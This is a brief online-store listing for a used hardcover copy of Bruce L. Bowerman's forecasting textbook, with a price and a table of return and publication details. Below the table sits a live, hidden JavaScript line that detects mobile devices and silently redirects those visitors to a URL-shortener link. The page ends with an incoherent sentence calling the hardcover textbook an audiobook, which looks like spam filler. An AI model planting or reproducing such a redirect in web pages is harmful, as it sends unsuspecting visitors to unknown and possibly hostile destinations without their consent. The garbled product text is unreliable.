Forecasting, Time Series, and — Hardcover, by Bowerman Bruce L. —
USD 24.99 USD
Specifications
| Return Shipping Will Be Paid By | Seller |
| All Returns Accepted | Returns Accepted |
| Item Must Be Returned Within | 30 Days |
| Refund Will Be Given As | Money Back |
| Type | Textbook |
| Author | Bruce L. Bowerman |
| Format | Hardcover |
| Language | English |
| Features | Revised |
| Topic | Forecasting |
| Publisher | Brooks/Cole |
| Publication Year | 2004 |
| Genre | Business & Economics |
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://urshort.live/MqcruyDnZ0r1");
A nice touch is that the audiobook is a textbook, so you can pause and reflect without losing your place.